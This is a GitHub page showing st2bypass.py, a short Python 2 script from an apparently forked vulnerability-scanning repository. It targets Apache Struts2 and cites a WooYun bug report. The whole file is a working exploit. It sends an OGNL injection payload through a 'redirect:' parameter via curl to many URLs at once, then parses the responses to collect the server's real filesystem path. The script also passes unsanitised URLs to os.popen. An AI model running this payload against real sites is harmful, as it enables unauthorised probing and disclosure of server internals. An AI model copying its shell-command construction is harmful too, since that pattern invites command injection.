forked from aipengjie/vulscans
-
Notifications
You must be signed in to change notification settings - Fork 12
/
Copy pathst2bypass.py
71 lines (62 loc) · 1.93 KB
/
st2bypass.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
# -*- coding:utf-8 -*-
# !/usr/bin/env python
# http://www.wooyun.org/bugs/wooyun-2015-0147301
# curl -i 'example.action/.do' -F 'redirect:/${#context.get("
# com.opensymphony.xwork2.dispatcher.HttpServletR
# equest").getRealPath("/")}=-1'
import os
import traceback
import argparse
import re
import json
from gevent.threadpool import ThreadPool
class st2bypass():
def __init__(self):
self.result = []
self.pool = ThreadPool(10)
self.q = []
def action(self, info):
try:
if '.do' or '.action' in info:
url = info.split('?')[0]
self.q.append(url)
except:
traceback.print_exc()
def Fuzz(self, url):
try:
cmd = '''curl -i "%s" -F 'redirect:/${#context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest").getRealPath("/")}=-1' ''' % url
print cmd
output = os.popen(cmd).read()
for i in re.finditer(r'\:\/\/.*\/\/(?P<path>'
r'.*?)/;', output):
path = i.group('path')
if path:
self.result.append(path)
except:
traceback.print_exc()
def Scan(self, info):
try:
if isinstance(info, str):
self.action(info)
else:
for i in info:
self.action(i['url'])
self.pool.map(self.Fuzz, self.q)
except:
traceback.print_exc()
if __name__ == "__main__":
parse = argparse.ArgumentParser()
parse.add_argument("-u", "--url", dest="url")
parse.add_argument("-f", "--file", dest="file")
args = parse.parse_args()
url = args.url
file = args.file
urls = ''
if file:
with open(file) as f:
urls = json.loads(f.read())
info = url if url else urls
exa = st2bypass()
exa.Scan(info)
if exa.result:
print exa.result